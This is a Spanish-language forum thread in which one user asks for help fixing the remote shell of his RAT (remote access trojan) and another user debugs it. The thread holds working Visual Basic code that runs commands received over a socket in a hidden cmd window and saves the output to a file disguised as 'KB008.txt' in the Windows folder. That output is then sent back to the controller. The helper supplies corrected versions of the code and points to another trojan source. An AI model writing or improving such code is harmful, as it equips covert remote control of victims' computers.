Ayuda con Shell Remota

[illuminat3d]

Bueno estaba arreglando la Shell Remota de mi RAT, y como era output pues la quise hacer de este metodo :

Al recibir el comando del cliente.. la Shell del servidor ejecuta el comando y guarda el resultado en un texto, luego lista el texto en un Textbox y lo envia al cliente.

Mi error aqui :

Si hago el comando : "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Guarda en el texto y todo bien.. pero si lo ejecuto desde el Servidor..

Shell "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"

Lo ejecuta pero no se guarda en el texto..

Porque puede ser?

Saludos!

[Karcrack]

Pipes...

[illuminat3d]

La que yo tenia anteriormente era algo asi :

Dim conten As String
conten = CMD(data(1))

Pero no funcionaba, ya que se lageaba al hacer por ej. ping 127.0.0.1 -t

Saludos!

[Karcrack]

La que yo tenia anteriormente era algo asi :

Dim conten As String
conten = CMD(data(1))

La de pipes.. como seria?

Saludos!

Pues es un metodo para obtener el resultado de un comando, usando Named Pipes (FIFO)

Si no recuerdo mal Cobein hizo un code que las utilizaba... creo que el post del titulo era algo asi: 'Jugaba a que hacia un troyano...'

Saludos

[illuminat3d]

Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein  'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?

Saludos!

[Karcrack]

Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein  'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?

Saludos!

Soy Karcrack

Jugaba a que hacia un troyano =] (SOURCE)

Bueno, primero, para encontrar el error has de saber que hay en la variable Data(1)...

Saludos

[illuminat3d]

Jaja perdona KarCracK 
Si estuve hablando con cobein y me habia dicho el link.. pero vi el source y no l oentendi mucho como te diria.. y si no hay alguna forma de arreglar lo que puse yo.

No creo que fuera por el comando recibido.. pero mira te dejo mi code..

Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For Input As #1
TextShell.Text = Input(LOF(1), 1)
Close #1

WS.SendData "ComandoShell|" & TextShell.Text

Ya probe tambien cambiandole Environ ("windir") por "C:\" y tampoco funciona.

Saludos!

[Karcrack]

Bueno, la verdad es que no veo fallo en ese code

Pero de todas formas, porque no habres el fichero .txt de forma binaria?
Ademas, porque gastar un Text? Podrias gastar una variable no?

Bueno, asi es como yo lo dejaria (Ahora no estoy en el SobreMesa, asi que no puedo probarlo..):

Código (vb) [Seleccionar] Expandir

Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For binary As #1
TextShell.Text = space$(LOF(1))
Get #1,,textshell.text
Close #1

WS.SendData "ComandoShell|" & TextShell.Text

Saludos

[illuminat3d]

Se agradece el code modificado ! 

Pero me salio un error de, variable requerida.. no se puede asignar esta expresion.

Error :

Open Environ("windir") & "KB008.txt" For binary As #1
TextShell.Text = space$(LOF(1))
Get #1,,textshell.text
Close #1

Probe agregandole :

Dim Comando as string
y luego cambiar eso por Comando..
y al llegar los datos salia ComandoShell (?) 

Espero que me puedas ayudar!
Saludos!

[Karcrack]

Código (vb) [Seleccionar] Expandir


    Dim sCommand    As String
   
    Kill Environ("windir") & "KB008.txt"
    Sleep (500)
    Shell "cmd /c " & Data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
    Sleep (2000)
   
    Open Environ("windir") & "KB008.txt" For Binary As #1
        sCommand = Space$(LOF(1))
        Get #1, , sCommand
    Close #1
   
    WS.SendData "ComandoShell|" & sCommand


No entendi la ultima parte ... dices que solo se envia "ComandoShell|" ?

Saludos